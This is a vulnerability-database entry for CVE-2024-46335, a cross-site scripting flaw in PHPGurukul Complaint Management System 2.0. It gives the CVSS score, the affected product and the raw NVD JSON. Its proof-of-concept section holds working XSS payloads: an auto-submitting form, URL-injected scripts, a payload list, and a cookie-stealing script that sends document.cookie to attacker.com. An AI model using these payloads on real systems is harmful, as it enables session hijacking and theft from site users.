Security Vulnerability Report
中文
CVE-2024-46335 CVSS 4.6 MEDIUM

CVE-2024-46335

Published: 2025-11-17 19:16:17
Last Modified: 2025-11-19 13:09:13

Description

PHPGurukul Complaint Management System 2.0 is vulnerble to Cross Site Scripting (XSS) via the fromdate and todate parameters in between-date-userreport.php.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:complaint_management_system:2.0:*:*:*:-:*:*:* - VULNERABLE
PHPGurukul Complaint Management System 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2024-46335 XSS PoC --> <!-- Target: PHPGurukul Complaint Management System 2.0 --> <!-- Vulnerable Parameter: fromdate, todate --> <!-- File: between-date-userreport.php --> <!-- PoC 1: Basic XSS Alert --> <form action="http://target.com/complaint/between-date-userreport.php" method="POST"> <input type="hidden" name="fromdate" value="<script>alert('XSS')</script>"> <input type="hidden" name="todate" value="<script>alert('XSS')</script>"> <input type="hidden" name="submit" value="1"> <input type="submit" value="Exploit"> </form> <!-- PoC 2: Cookie Stealing --> <!-- Inject via fromdate or todate parameter --> <script> document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); </script> <!-- PoC 3: URL-based XSS --> <!-- http://target.com/complaint/between-date-userreport.php?fromdate=<script>alert(document.domain)</script>&todate=<script>alert(document.cookie)</script> --> <!-- Recommended Payloads --> <!-- <script>alert(document.cookie)</script> --> <!-- <img src=x onerror=alert(document.cookie)> --> <!-- <svg onload=alert(document.domain)> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46335", "sourceIdentifier": "[email protected]", "published": "2025-11-17T19:16:16.533", "lastModified": "2025-11-19T13:09:12.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Complaint Management System 2.0 is vulnerble to Cross Site Scripting (XSS) via the fromdate and todate parameters in between-date-userreport.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:complaint_management_system:2.0:*:*:*:-:*:*:*", "matchCriteriaId": "8C6D9515-0DC3-4727-B5B5-2E6C34362BF7"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-46335.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/complaint-management-sytem", "source": "[email protected]", "tags": ["Product"]}]}}